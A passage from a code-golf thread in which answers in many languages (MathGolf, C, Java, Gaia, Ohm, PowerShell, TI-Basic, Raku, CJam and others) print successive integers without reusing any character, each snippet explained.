(500 → 250 → 125 → 376 → 188 → 94 → 47): [Try it online.](https://tio.run/##y00syUjPz0n7///RzFWPpi3ARP//AwA) 48) `'0$`: Push ordinal value of character '0': [Try it online.](https://tio.run/##y00syUjPz0n7/1/dQOX/fwA) 49) `ÿÿÿÿÿ£9`: Push string `"ÿÿÿÿ"`; pop and push its length (4); push 9; output the entire stack joined together implicitly: [Try it online.](https://tio.run/##y00syUjPz0n7///wfhg8tNjy/38A) 50) `))))))))))))))))))))))))))))))))))))))))))))))))))`: Increment by 1 fifty times: [Try it online.](https://tio.run/##y00syUjPz0n7/1@TZPD/PwA) 51) `►◄╠•╠`: Push 1,000,000; Push 10,000,000; pop both and integer-divide them with each other (10); push 512; pop both and integer-divide them with each other: [Try it online.](https://tio.run/##y00syUjPz0n7///RtF2Pprc8mrrgUcMiIPn/PwA) 52) `☼╪╪☼╪╪╪╪╪╪╪╪╪╪╪╪╪%`: Push 100000; right-rotate bits twice: (50000 → 25000); push 100000 again; right-rotate bits 13 times (50000 → 25000 → 12500 → 6250 → 3125 → 3610 → 1805 → 1926 → 963 → 993 → 1008 → 504 → 252); modulo [Try it online.](https://tio.run/##y00syUjPz0n7///RjD2Ppq4CITiDEFL9/x8A) 53) `♣(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((`: Push 128; decremented by 1 seventy-five times: [Try it online.](https://tio.run/##y00syUjPz0n7///RzMUa1AP//wMA) 54) `ee*e*e*╒┤\;`: Push `e` (2.718281828459045); multiply it by `e` three times (54.59815003314423); pop and push a list in the range [1,54] (implicitly converts the float to an integer); pop the last value from the list (without popping the list itself); swap the top two values on the stack; and discard the list: [Try it online.](https://tio.run/##y00syUjPz0n7/z81VQsEH02d9GjKkhjr//8B) 55) `╚r▓r▓r▓r▓r▓r▓`: push 3600; pop and push a list in the range [0, 3600); pop and leave its average (1799.5); create `[0, n)` range and take average five more times (899.0 → 449.0 → 224.0 → 111.5 → 55.0): [Try it online.](https://tio.run/##y00syUjPz0n7///R1FlFj6ZNxob//wcA) 56) `♠▒╞y`: push 256; convert it to a list of digits: [2,5,6]; discard the first item: [5,6]; join the list to a string without delimiter: [Try it online.](https://tio.run/##y00syUjPz0n7///RzAWPpk16NHVe5f//AA) 57) `!⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠`: Push gamma(n+1) (1 by default); increment by 2 twenty-eight times: [Try it online.](https://tio.run/##y00syUjPz0n7/1/xUc8CqqP//wE) 58) `"hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh"hÞ`: Push string `"hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh"`; push its length (without popping the string); remove everything from the stack except for the last item: [Try it online.](https://tio.run/##y00syUjPz0n7/18pg2yglHF43v//AA) 59) `◘f√√√√√√√üf√√üf√√√√üf√√√√√√√ü`: push 1024; pop and push 1024th Fibonacci number (4506699633677819813104383235728886049367860596218604830803023149600030645708721396248792609141030396244873266580345011219530209367425581019871067646094200262285202346655868899711089246778413354004103631553925405243); square-root 7 times (6.713195687359202e+106 → 2.5909835366823933e+53 → 5.09017046539936e+26 → 22561406129493.258 → 4749884.854340498 → 2179.423055384268 → 46.68429131286313); ceil it to 47; take and 47th Fibonacci number (2971215073); square-root it twice again (54508.8531616654 → 233.47131121759992); ceil it to 234; take the 234th Fibonacci number (3577855662560905981638959513147239988861837901112); square-root it four times (1.8915220491870841e+24 → 1375326161020.3901 → 1172743.0072357669 → 1082.9325958875588); ceil it to 1083; take the 1083th Fibonacci number (9641162182178966878126331027202834784434723577592322830700454745652427494401346945631082965963962317692358822696127040961581675695438118874508418491101822679355067810556808551572644321954159676320600161466564032755133080685122); square-root 7 times again (9.818941990957563e+112 → 3.1335191065250526e+56 → 1.7701748802095946e+28 → 133047919194912.42 → 11534639.96815299 → 3396.2685359307193 → 58.27751312410919); and ceil a final time to 59: [Try it online.](https://tio.run/##y00syUjPz0n7///R9BlpjzpmYaLDe9LQGFi5SOL//wMA) 60) `╟` builtin: [Try it online.](https://tio.run/##y00syUjPz0n7///R1Pn//wMA) Builtins left: `◙↕‼¶▬↨↑↓→←∟↔▲▼ %.<=>?@[^`agjklmnopqstuvwxz{|}⌂ÇéâäàåçêëèïìÄÅÉæÆôöòûùƒáíóúñѺ¿⌐¬¡«»│╡╢╖╕╣║╗╜╛┐┴┬├─┼╩╦═╧╨╤╙╘╓╫╪┘┌▄▌▐▀αßΓσµΦΘΩδε∩≥≤÷°∙·`. This still includes quite a few useful things to go further, like: some more integer builtins (`◙↕` = `[4096,100000000]`); a second multiply (`.`); a second exponentiation (`▬`); convert to/from binary as list or string (`âäàå`); \$2^n\$ (`ó`); \$10^n\$ (`ú`); palindromize string/list/integer (`ñ`); TOS-1 without popping (`┐`); left rotate binary bits of integer (`╫`); \$\frac{1}{n}\$ (`∩`); etc. [Answer] # C, score 13 These are just a bunch of integer constants. ``` 0==0 __LINE__ 3 4 5 6 7 8 9 1+1+1+1+1+1+1+1+1+1 'o'/'.' 2*2*2*2-2-2 strlen("strlenstrlens") ``` 1. `0==0` evaluates to **1** 2. Assumes code is on line 2. `__LINE__` = **2** 3. Integer constant 4. Integer constant 5. Integer constant 6. Integer constant 7. Integer constant 8. Integer constant 9. Integer constant 10. `1+1+1...` = `1*10` = **10** 11. `'o'` is 111, `'.'` represents the unprintable ASCII 0x10. 111/10 = **11** 12. `(2<<2)` = 8, `8*2` = 16, `16-2-2` = **12** 13. string length of `"strlenstrlens"` = **13** [Answer] # Java 8, ~~11~~ ~~12~~ 13, 39 bytes ~~Java only has 10 symbols for numbers (0-9) and all method calls and constants require a period, so I'm not sure I can get above 11 outputs~~ Apparently chars cast to integers by default when operations are applied +1 with the help of @OlivierGrégoire ``` i->-~i 2 3 4 5 6 7 8 9 'P'^'Z' 11 "::::::::::::"::length 0xD ``` Explanations: ``` i->-~i ``` integer lambda [which takes no input](https://codegolf.meta.stackexchange.com/questions/12681/are-we-allowed-to-use-empty-input-we-wont-use-when-no-input-is-asked-regarding) and returns 1. When a parameter takes no input the default value is used as per the above meta post, which for integers is 0 ``` 2 3 4 5 6 7 8 9 ``` literal integers ``` 'P'^'Z' ``` XOR of two characters to return 10 ``` 11 ``` literal integer ``` ":::::::::::"::length ``` lambda expression which returns the length of a 12 character string ``` 0xD ``` Hexadecimal 13 [TIO Link](https://tio.run/##ddBNSwMxEAbgc/srgpfdPWxo/f4sCF48iMLSi6IQtzFmTSchmSwuUv/6OhUPHjq5hOSZGYa3U72qfdDQrT7GMeRXZ1vROpWSuFMWvqaTv7@ECunqvV2JNUnZYLRgnp6FiiZVVDjpaJbMaJ18y9Ci9SBvAZeg4nAfdFToo8jiSth6UX/bC@pohoR6LX1GGWgaOiizVCG44TpRazmrKqZsn4MDDg45OOLgmIMTDk45OOOgeCheiseC4/n8V3aH22RKyup4SVFpo@NC9JTu3vm/Qw@nweA7M7@XRmO5TXm3zz5vtgtspptx/AE) if you want to verify. [Answer] # [Gaia](https://github.com/splcurran/Gaia), score 25, 203 bytes ``` §‼ ..⌉+⌉ ₵P~~ 4 5 6 ∂Ql 8 9 ¶c 11 '¡ċ⌋u⌋ --⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻ 7:,Σ Ø!)))))))))))))) øøw<øøw<«øøw<«øøw<«øøw<« ⟩‘ ₸ḣ₸K$₸ḣ₸/S₸₸/=$ ]]]]]]]]]]]]]]]]]]]n ⇑’e 0(((((((((((((((((((((_ 22 “B”“↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺B”B 3₈× ℍḥḥ ``` I consider this a perfect score, as no more nilads can be used given the character limitations. ### Explanations **1.** `§‼` `§` is a space character, `‼` is coerce to boolean, so the result is 1. **2.** `..⌉+⌉` `.` is a shortcut for `0.5`, so this is `ceil(0.5+ceil(0.5))`. **3.** `₵P~~` `₵P` is pi, `~` is bitwise negation. Double bitwise negation is simply truncation. **4.** `4` **5.** `5` **6.** `6` **7.** `∂Ql` `∂Q` is a list containing the names of the days of the week, `l` is length. **8.** `8` **9.** `9` **10.** `¶c` Code point `c` of linefeed `¶`. **11.** `11` **12.** `'¡ċ⌋u⌋` ``` '¡ The string "¡" ċ Turn it into a list of code points: [161] ⌋ Minimum: 161 u⌋ Floored square root: 12 ``` **13.** `--⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻-⁻` `-` is a shorthand for `-1`, `⁻` is subtraction. So this is `-1 - -1 - -1...` enough times to make 13. **14.** `7:,Σ` Push `7`, duplicate `:`, pair `,` the two 7s into a list, and sum `Σ`. **15.** `Ø!))))))))))))))` `Ø` is an empty string, so `Ø!` is 1. Increment `)` 1 14 times. **16.** `øøw<øøw<«øøw<«øøw<«øøw<«` ``` øø Push two empty lists w Wrap one of them < [] < [[]]? (it is, so push 1) øøw< Do the same thing again to push another 1 « Bitshift 1 left by 1 Do that same thing again 3 more times to get 16 ``` **17.** `⟩‘` Closing a string with `‘` makes it a base-250 number literal. `⟩` is at byte value 17 in Gaia's code page. **18.** `₸ḣ₸K$₸ḣ₸/S₸₸/=$` ``` ₸ 10 ḣ doubled ₸ 10 K 20 choose 10 (184756) $ Digit list ₸ḣ₸/ 20/10 (2) S Split the digit list at index 2 ([[1 8][4 7 5 6]]) ₸₸/ 10/10 (1) = Get the first element of that split ([1 8]) $ Join together and print 18 ``` **19.** `]]]]]]]]]]]]]]]]]]]n` Each `]` wraps the stack in list. Do this 19 times and get the depth `n` of the list. **20.** `⇑’e` Closing a string with `’` makes it a list of codepage code points. `e` dumps the list on the stack. `⇑` has a code point of 20 in the codepage. **21.** `0(((((((((((((((((((((_` Decrement `(` 0 21 times, then negate `_`. **22.** `22` **23.** `“B”“↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺B”B` Convert the string `“B”` from base-24, where the digits from 0-23 are `↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺↺B`. The result is `23`. **24.** `3₈×` 3 × 8. **25.** `ℍḥḥ` 100 `ℍ` halved `ḥ`, and halved again. [Answer] # [Ohm](https://github.com/MiningPotatoes/Ohm), score ~~21~~ 22, 160 total bytes ``` ╓S@Ri ΓΓ-Γ-Γ- αê⌠ ¡¡¡¡¼ 5 ▀lll▀l ÑÑÑÑÑÑÑÿWÿk ü`½½ 9 ..≥° $$J 3dd 7ƒ 2≡≡≡Σ ║F 4º 0ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ 6DD++ 8π τ╛hτ* "≤"≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤A 1111 11v11%L1111 11v11%L ``` [Try it online!](https://tio.run/##y8/I/W9k5GAV76NkpaDkE39umc7/R1MnBzsEZXKdm3xusi4EcZ3beHjVo54FXIcWQuEeLlOuR9MacnJyQCTX4YkocH/44f3ZXIf3JBzae2gvlyWXnt6jzqWHNnCpqHhxGaekcJkfm8Rl9KhzIQSdW8z1aOpENy6TQ7u4DA5vqiMVcZm5uGhrc1mcb@A63/Jo6uyM8y1aXEqPOpeAMCXIkcsQCBQMDcsMDVV9kNn//wMA "Ohm – Try It Online") ## Explanations **1.** `╓S@Ri` Push the seconds of the current date/time (`╓S`). Get the inclusive range from 1 to seconds (`@`), reverse it (`R`), get the last element (`i`), which is always 1. **2.** `ΓΓ-Γ-Γ-` `Γ` is -1, so this is (-1) - (-1) - (-1) - (-1), which is 2. **3.** `αê⌠` `αê` is Euler's number (2.71828...), `⌠` is ceiling. 3 is the result. **4.** `¡¡¡¡¼` `¡` increments the counter, `¼` pushes the counter. **5.** `5` Just a literal. **6.** `▀lll▀l` `▀lll▀` is a compressed string literal which is equivalent to `"of >ic"`. `l` takes the length, so the result is 6. **7.** `ÑÑÑÑÑÑÑÿWÿk` First we push 7 newline chars (`Ñ`) and then an empty string (`ÿ`). The stack is wrapped in an array (`W`), and then the index of the empty string in that array is found. **8.** `ü`½½` `ü` is a space character. ``` pushes its ASCII value (32), then it gets halved twice (`½½`). **9.** `9` Just a literal. **10.** `..≥°` `..` is a literal `.` character. It gets incremented (`≥`), which parses the string as a number, defaulting to 0 since it's not a valid number, and increments it to 1. Then we compute 101 (`°`). **11.** `$$J` `$` pushes the current value of the register, initially 1. So, push 1 twice, join the stack together and print. **12.** `3dd` Push 3 and double it twice. **13.** `7ƒ` Pushes the 7th Fibonacci number. **14.** `2≡≡≡Σ` Push 2, triplicate it three times, leaving 7 2's on the stack. Then take the sum of the stack (`Σ`). **15.** `║F` `║` is the delimiter for base-220 number literals. Since this is at the end of a line, it doesn't need to be terminated. **16.** `4º` Compute 24. **17.** `0ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~ò~` `ò` is bitwise negate, `~` is arithmetic negate. Combining these operators, we can increment 0 17 times. **18.** `6DD++` Push 6, duplicate it twice, and compute 6+6+6. **19.** `8π` Push the 8th prime number. **20.** `τ╛hτ*` Push 10 (`τ`), get the first element (`h`) of its prime factors (`╛`), multiply that by 10. **21.** `"≤"≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤A` Similarly to previous snippets, the string `"≤"` gets parsed as 0. We decrement it 21 times, then take the absolute value. **22.** `1111 11v11%L1111 11v11%L` Here we compute 1111 div 11 mod 11, which is 2, then print 2. Then do it again. [Answer] ## PowerShell, score 12, 91 bytes. 14, 176 bytes ``` [byte]!![byte] # type gets cast to bool false, inverted, to int = 1 - -$?-shl$? # -bool true is -1, shift left, negative. (Tab not space) 3 4 5 6 7 8 9 1+1+1+1+1+1+1+1+1+1 22/2 # use the 2 'uuuuuuuuuuuu'.LENGTH # string length 0xd @{z=@{};Y=@{};YY=@{};w=@{};v=@{};U=@{};zz=@{};S=@{};r=@{};q=@{};p=@{};J=@{};K=@{};m=@{}}|% COU* # count items in hashtable (space) ``` Edit: * Thanks to Ørjan Johansen for suggesting the hex literal 0xd for 13 and the rearranging of 5 to free up 1+1+1+1.. as an option. * Changed array length to string length, [int] to [byte] and hashtable to use hashtables as values, freeing up `(),""` Pondering 15 with something like `"ZZZZZZZZZZZZZZZA".InDeXof("A")` but can't reuse the dot or the 'e'.. PowerShell can't do variables without $, can't do exponentiation, bit shifting, Pi, ceil(), etc. with basic symbols, and mostly does type coercian to/from bool and to/from numbers-as-strings, so there's relatively little scope for low-syntax number generation. [Answer] # TI-Basic (83 series), score ~~21~~ ~~22~~ ~~23~~ ~~24~~ 25 (1003 bytes) ``` 1: A=A 2: int(tan(tan(cos(cos(cos(B 3: tanh⁻¹(√(√(√(√(√(√(√(√(√(√(C!°√(√(C!° √(√(√(√(√(√(C!°√(√(√(√(√(√(C!°√( C!°√(√(√(C!°√(C!°√(C!°√(√(√(√(√( √(C!°√(C!°√(C!°√(C!° 4: 4 5: cosh(sinh⁻¹(cosh(sinh⁻¹(...sinh⁻¹(cosh(D with 25 repetitions of cosh( 6: 6 7: 7 8: 8 9: 9 10: ₁₀^(₁₀^(E 11: 11 12: F nPr F/sin(tan⁻¹(...(sin(tan⁻¹(F nPr F with 143 repetitions of sin(tan⁻¹( 13: det([[G≤G]...[G≤G]]ᵀ[[G≤G]...[G≤G with 26 repetitions of G≤G 14: ln(tanh(not(H))...tanh(not(H))) ln(tanh(not(H)))^⁻not(H with 14+1 repetitions of tanh(not(H)) 15: iPart(e^(e^(e^(I 16: sum(dim(identity(sum(dim(identity(sum( dim(identity(sum(dim(identity(J≥J 17: K nCr K+K nCr K+...+K nCr K with 17 repetitions of K nCr K 18: abs(i-i-...-i with 20 repetitions of i 19: rand→L:log(LL...LL→M:log(L→N:N⁻¹M with 19 L's inside the log 20: mean(seq(OOO,O,O,sinh(sinh(cos⁻¹(O 21: ππ³√(π³√(ππ³√(ππ³√(ππ³√(π³√(³√(ππ³√(π³ √(π³√(ππ³√(π³√(ππ³√(ππ³√(ππ³√(π³√( π³√(³√(ππ³√(ππ 22: 22 23: 3(3(3×√(3(3(3×√(3(3×√(3(3(3×√(3×√(3×√( 3(3×√(3(3×√(3(3(3×√(3(3×√(3×√(3(3( 3×√(3(3×√(3×√(3×√(3(3(3×√(3(3×√(3( 3(3×√(3×√(3(3(3×√3 24: Fix 0 sin⁻¹(ᴇ0 AnsAnsAnsAnsAnsAnsAns 25: 5*5 ``` Refer to <http://tibasicdev.wikidot.com/one-byte-tokens> for a list of which things the challenge does and does not allow here. All of these can be complete programs, since the last line of a program gets printed automatically. But (except for 17, which is multiple lines long) they can also be snippets on the home screen. At this point, I see no other way to get *any* nonzero value out of the remaining tokens available. If there's any improvement to be made, it will have to involve first making some of the solutions above more conservative. # Explanations * `A=A` is a boolean 1 because the variable `A` is equal to itself. * `B` is 0 by default, `tan(tan(cos(cos(cos(B` is about 2.21, and then we take the floor. * `C!°` is 1 degree in radians, about 0.017. Some positive power of this is tanh(2), about 0.964. We encode that power in binary using implied multiplication and `√(`, and then take `tanh⁻¹(`. * 4 is straightforward * `cosh(sinh⁻¹(X` simplifies to \$\sqrt{1+X^2}\$, and used 25 times it gives us 5. * 6-9 are straightforward * `₁₀^(` is a one-byte built-in for powers of 10, and 10^10^0 = 10^1 = 10. * 11 is 11. * Another instance of the trick used on 5. `F nPr F` is 1. `sin(tan⁻¹(X` simplifies to \$\frac{1}{\sqrt{1+1/X^2}}\$, and used 143 times starting with 1 it gives us 1/12. Dividing 1 by this number is 12. * `G≤G` is 1, so `[[G≤G]...[G≤G]]` is a 13x1 column vector. Taking the product of its transpose with itself gives the matrix `[[13]]`, whose determinant is 13. * `not(H)` is 1. `tanh(not(H))` is just some number not equal to 0 or 1, and `ln(XXX....X)ln(X)^⁻1` will simplify to the number of `X`'s in the first log provided that `X` is not 0 (so that the log exists) and not 1 (so that we're not dividing by 0). * `e^(e^(e^(F` evaluates to about 15.15, and then we take the floor. * `J≥J` is 1. `identity(` constructs a 1x1 identity matrix, `dim(` finds its row and column dimensions, and `sum(` adds them to get 2. Then we do this again, adding the dimensions of a 2x2 matrix to get 4, and again, adding the dimensions of a 4x4 matrix to get 8, and again, adding the dimensions of a 8x8 matrix to get 16. * `K nCr K` is the binomial coefficient 0 choose 0, or 1. Adding together 17 1's gives 17. * `i-i-...-i` simplifies to ⁻18i, and taking `abs(` gives 18. * `rand→L` stores a random real number to L, but we don't care what it is. We are computing `log(L)⁻¹log(L^19)`, which simplifies to 19. * `sinh(sinh(cos⁻¹(I` is a bit over 4, so `seq(III,I,I,sinh(sinh(cos⁻¹(I` gives the list `{0 1 8 27 64}` whose arithmetic mean is 20. * Another instance of the trick used to get 3. Here, some power of `π` should give 21; we encode that power in ternary using implied multiplication and `³√(`. * 22 is 22. * Another instance of the trick used to get 3 and 21. We encode the power of 3 that equals 23 in ternary, using `3×√(` as cube root and `(` for multiplication. * `Fix 0` is the setting for displaying 0 digits after the decimal, rounding all values to integers. `sin⁻¹(ᴇ0` evaluates to π/2, and π/2 multiplied by itself 7 times gives about 23.59, which rounds to 24. * `5*5` is 25. (It would be more conservative to use `5` to get 5, and adapt the solution used there for 25. But this way saves lots of space, and `*` isn't a very useful character because implied multiplication exists.) [Answer] # [Raku](https://github.com/nxadm/rakudo-pkg), ~~26 29~~ 30 numbers, 309 bytes ``` !@/!@ τ÷π ³ 4 5 6 7 8 9 𐭜 11 [+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]] "{3%%3%3}3" Int((),(),(),(),(),(),(),(),(),(),(),(),(),()) 0xF ৹ ᛮ ⑱ ꘡꘩ - --$_- --$_- --$_- --$_- --$_-$_ Q|Q.CiRCLED NUMBER TWENTY ONE..UNiPARSE|.lc.EVAL.EVAL 22 ٢٣ ㉔ ^?'~'~^''~''~^^?'~' ۲۶ 27 ߂߈ ord\nq`` * ``` [Try it online!](https://tio.run/##pVJbaxNBFAbBh5z/IJwOSbPbJJObqZrY2osbEGK0aapIr5tkqoub3Ti7kYZcEPEhvqkIFvRFfZAKCiooQp/0B/S59KGavvWl/oM4kxRjBUEQhjPnfHzzne8cpsK4OdrtlmvoLRRxDCMpkLkj0lnmKmoKVm2OSsM0LOYEkdi8tGDdWjmxQkRxdmSBD874yNFaQkTF0Dh6dayDx6tT7cpkhla4Ybkp8JQMhkTjXOgXai5THBXrgsOsol1i2GlvCBtNNCx0mIu6yZleqhE0VvFPktBy9BoSz5SQcbDqsFISSUsZ8JSQKngqvclqDnVsLtuLGTvt12MDNYmJHQSOQE2AnnbednWz59NJylWRVB9Pc8YO4UNIkXuLUBpLJNRfjTOG4/Ya07JeUerSiJyE3tbNKmuqtHiDizF@k6xaRs@5VS0XGBc9SVBylOucVbA@JB9Qwalwu@Jgq4XhbBiHh7GH971Ty7bE5MxkZemhGcQopZG1aDoWiajYaCDJSkJSIalud2giPDQBW/e@ftq6A18@wElIwCicgtNwBn48ePMMolGYD8wvLgb@OwKpx32@uC/ejBO4YLmKogb/7agQWUvDt1ef4fvTt9B5@A7215/vr29AyBMKeZf/Gr3LMNOYodNGbjqjncfs3MUpLYf5q1o2fw0vZTVK57LG5cncrNagZrH/SWWAWAy2X2y/hL37j2HpnL/lby35j4nruEh6Ney83/kIB5uPDjafwO7d3fZP) A lot of this is made easier by the fact that ~~Perl 6~~ Raku supports numbers being represented by Unicode. This allows us to do things like substituting the digits of 14 for the technically equivalent digits `۱۴`, as long as we don't have byte conflicts in the multi-byte characters.The tradeoff is that all the bitwise operators have to be prefixed by `+`, which narrows down some of what we can do. ## Explanation: ### 1 ``` !@/!@ ``` Divide the logical not of two anonymous empty state variables to get 1 ### 2 ``` τ÷π ``` Divide tau by pi. Since tau is 2\*pi, this equals `2`. ### 3 ``` ³ ``` The unicode character `SUPERSCRIPT THREE`, which evaluates to `3` when not after another number. ### 4 through 9 All of these are normal ASCII characters ### 10 ``` 𐭜 ``` This is the character meaning `10` in Inscriptional Parthian. ### 11 ``` 11 ``` Two 1s concatenated together. ### 12 ``` [+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]] ``` Coercing a list to an int results in the length of the list. `+[] == 0` and then `+[+[]] == 1`. This then adds them together to result in 12. ### 13 ``` "{3%%3%3}3" ``` Checks if 3 is divisible by 3, then mods that with 3 to coerce the True to a 1 and concatenates it with another 3. ### 14 ``` Int((),(),(),(),(),(),(),(),(),(),(),(),(),()) ``` Same as number 12, where coercing a list to an int results in the length of the list. ### 15 ``` 0xF ``` A hexadecimal literal for 15. ### 16 ``` ৹ ``` `BENGALI CURRENCY DENOMINATOR SIXTEEN`. ### 17 ``` ᛮ ``` `RUNIC ARLAUG SYMBOL`. Interesting note, this is actually a numeric letter, as opposed to the numeric digits and numeric other I've used so far. ### 18 ``` ⒅ ``` `PARENTHESIZED NUMBER EIGHTEEN`. Actually recognisable as a number for once. ### 19 ``` ꘡꘩ ``` `VAI DIGIT`'s `ONE` and `NINE`, making 19. ### 20 ``` - --$_- --$_- --$_- --$_- --$_-$_ ``` Some arithemetic on the topic variable, which is initially set to Nil. These are separated by tabs. This evaluates to `20`. ### 21 ``` Q|Q.CiRCLED NUMBER TWENTY ONE..UNiPARSE|.lc.EVAL.EVAL ``` I'm quite proud of this one. The `uniparse` function can take a string and find the unicode character called that, which is neat. However, it conflicts with our earlier calls to `Int` (or the alternatives `Rat` or `Numeric`). So we wrap it in a string (using `Q`uotes with various excess characters) and set the whole thing to lowercase before evaling it. We don't need a single digit number, so we get an appropriate Unicode character and eval it *again* which yields the `21`. I could have also used the `\c[]` construct in a string, but I'm using the `[]`s elsewhere. ### 22 ``` 22 ``` An integer literal ### 23 ``` ٢٣ ``` `ARABIC-INDIC DIGITs TWO` and `THREE` making `23`. ### 24 ``` ㉔ ``` `CIRCLED NUMBER TWENTY FOUR` ### 25 ``` ^?'~'~^''~''~^^?'~' ``` The unary `?` operator coerces `'~'` to a string, which is then converted to the range [0,1) by `^` and then coerced to the string `0` before being XOR'ed with `''` (2) and converted back to a string. We do the same with `''` (5) and then concatenate the two together to make the string `'25'` ### 26 ``` ۲۶ ``` `ARABIC-INDIC DIGITs TWO` and `SIX`. What do you mean I've already used these? No-no, these are the `EXTENDED` versions see? *Completely* different (at least, byte-wise). ### 27 27 `FULLWIDTH DIGIT`'s `TWO` and `SEVEN` ### 28 ``` ߂߈ ``` `NKO DIGIT`'s `TWO` and `EIGHT` ### 29 ``` ord q`` ``` Return the value of the byte, which is `29`. The function doesn't care about the type of whitespace, so I've used a linefeed here. ### 30 ``` <* * * * *>*<* * * * * *> ``` I can't believe I didn't think of this earlier. This multiplies a list of length 5 with one of length 6 to get 30. The whitespace separators here are carriage returns, not linefeeds. ## Possible further improvements I can still use various whitespace characters to separate function from argument, but I can't find any that result in a number and don't conflict with all the letters I've already used (e.g. chars, codes, index, encode.bytes). I've also used up pretty much all the usable non-conflicting bytes between numeric Unicode characters that Perl 6 recognises. * I can free up `_` from `20` at the cost of a longer program. * I can exchange `|` for a different character. * I have enough characters to declare a variable which would have a default value of Nil, though I don't know what I'd do with it. Leftover printable characters: ``` &:;=\#GHJKXZabefghjkmpsuvwyz ``` [Answer] # [SOGL](https://github.com/dzaima/SOGL), score ~~16~~ ~~18~~ 20, 109 bytes, 47 characters used ``` = push ""="" ρ:¾/U ceil(isPalindrome("")/(isPalindrome("")*(3/4))) -> ceil(1/(3/4)) -> ceil(4/3) 3 push 3 MM¼÷ 100/(100*1/4) æ⁄ length of "aeiou" 6 push 6 7 push 7 Nτ log2(256) 9 push 9 L push 10 ⁹’ byte with the 11th SOGL code point Ιζrkk"⁸ `⁸`s UTF-8 codepoint to string, take off 1st 2 chars '⁰ messy compression īuHHHHHHHHHHHHHH± floor(0.1) `-1` 14 times, then change sign aIIIIIIIIIIIIIII A `+1` 15 times, A = 0 4² 4^2 lllllllllllllllll”l length of "lllllllllllllllll" 222222222++++++++ 2+2+2+2+2+2+2+2+2 δ“○“- 429-420 Μ℮‘ compressed string of "2ŗ" where ŗ defaults to 0 ``` [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 16 integers, 86 bytes ``` 1 2 3 4 5 6 7 8 9 ℕ<<<<<<<<<< ≜+₁₁ Ịbkkkkkkkị Ḥl ℤ₇×₂ṅ "____**"pᶜ¹ ⟦h>>>>>>>>>>>>>>>>ȧ ``` [Try it online!](https://tio.run/##SypKTM6ozMlPN/pvHfaobcOjpt7/hlxGXMZcJlymXGZc5lwWXJZcj1qm2sAB16POOdqPmhqBiOvh7q6kbAh4uLub6@GOJTlAxUseNbUfnv6oqenhzlYupXgg0NJSKni4bc6hnVyP5i/LsEMDJ5b//29o9j8KAA "Brachylog – Try It Online") (The input controls which program is ran, from 1 to N) ### Explanation ``` The output is... 1 1 2 2 3 3 4 4 5 5 6 6 7 7 8 8 9 9 ℕ<<<<<<<<<< Strictly bigger than ... strictly bigger than 0 ≜+₁₁ 0 + 11 Ịbkkkkkkkị "12" converted to an integer Ḥl The length of "Hello, World!" ℤ₇×₂ṅ -(-7 × 2) "____**"pᶜ¹ The number of unique permutations of "____**" ⟦h>>>>>>>>>>>>>>>>ȧ The absolute value of stricly less than ... stricly less than 0 ``` [Answer] # Reng, score 40, 149 bytes [Try it here!](https://jsfiddle.net/Conor_OBrien/avnLdwtq/) ``` 1. e 2. 2 3. ::l 4. 4 5. 5 6. i`i`i`i`i`i`+++++ 7. 7 8. 8 9. 9 10. A 11. ÇÇÇǹ 12. C 13* [[[[[[[[[[[[[mn~ 14. E 15. F 16. G 17. H 18. I 19. J 20. K 21. L 22. M 23. N 24. O 25. P 26. Q 27. R 28. S 29. T 30. U 31. V 32. W 33. X 34. Y 35. Z 36. 6² 37. "%" 38* &fæ¦ 39. D3* 40. 11±$1±±±±±±±±$11±$1±±±±$±$ ``` All uppercase letters are numbers, so that's nice. All but two of these are snippets. The two that are programs: ``` 13. [[[[[[[[[[[[[mn~ 38. &fæ¦ ``` The link provided allows one to see the stack while running. I'll write an explanation later. [Answer] ## CJam, score 27, 168 bytes **1-3:** `X`, `Y`, `Z` The variables `X`, `Y`, and `Z` are initialized to 1, 2, and 3, respectively. **4:** `",,,,",` Push the string `,,,,` and take the length. **5-9:** `5`, `6`, `7`, `8`, `9` Numeric literals. **10-20**: `A`-`K` Preinitialized variables. **21:** `U)))))))))))))))))))))` The variable `U` is initialized to `0`. Push `U` and increment it 22 times. **22:** `22` Numeric literal. **23:** `';(((((((((';((((((((` Push the character `;` and decrement it 9 times to get `2`, then push `;` again and decrement it 8 times to get `3`. **24:** `4m!` Take the factorial of 4. **25:** `TT=TT=+TT=TT=TT=TT=TT=++++` `TT=` pushes `1`. This code is equivalent to `1 1+1 1 1 1 1++++`. **26:** `N:i~W-W-W-W-W-W-W-W-W-W-W-W-W-W-W-W-` `N` pushes a string containing a newline. `:i` converts it into a list of character codes, yielding `[10]`. `~` unpacks it, giving `10`. `W-` is the equivalent of adding one. Incrementing 10 sixteen times gives 26. **27:** `LLLLLLLLLLLLLLLLLLLLLLLLLLL0]0#` Find the index of 0 in a list where 0 is at the 27th index. **Characters still available:** `$%&*./1<>?@MOPQRSV[\^_`abcdefghjklmnopqrstuvwxyz{|}` A few notes for potential expansion: * I might have to change 10-20 in order to use the variables for something else. If I get numbers higher than 1, I can use `*` (and possibly bitwise operators, but I don't think they'll help much). * I still have `S`, whatever good that'll do me. * If I change 26 to 